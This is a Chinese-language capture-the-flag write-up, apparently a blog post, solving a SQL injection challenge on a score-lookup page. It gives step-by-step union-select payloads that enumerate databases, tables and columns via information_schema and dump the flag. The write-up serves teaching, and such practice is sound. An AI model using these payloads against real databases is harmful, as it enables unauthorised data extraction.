这是一道练习SQL注入非常好的题,加上楼主最近也在看SQL注入,就和大家一起分享这道题。
先上图
我们先随便输两个数上去,发现并没有什么异常,数据库里有三个同学的成绩。我们还是按步骤来,源码,抓包,但是都无果。
我们再来仔细观察这个页面,这是一个查询界面,是不是可以查到flag呢?不同于以往在浏览器搜索栏里注入,我们在页面的查询框里直接注入,先试试?id=1' 查询不到页面,再试试联合注入 ?id=-1' union select 1,2,3#
发现还是没有,但是当我们觉得方法路子是对的时候一定要多尝试,但如果路子不对,那努力就是白费。
但是这一题,显然我们的路子是对的,我们在后面多加个4。 ?id=-1' union select 1,2,3,4#
哈哈哈,我们的注入点出来啦!
下面就是走个流程了,代码在下面。
先查库:?id=-1' union select 1,group_concat(schema_name),3,4 from information_schema.schemata#
(?id=-1' union select 1,database(),3,4#)
选择skctf_flag再查表:?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="skctf_flag"#
选择fl4g再查列:?id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="fl4g"#
列和库重名,但是没关系。
最后我们查这一列的数据:?id=-1' union select 1,group_concat(skctf_flag),3,4 from skctf_flag.fl4g#
这道题到这就结束了,代码尽量自己手打,增强理解。
喜欢的朋友不要忘了点个关注哦!
网友评论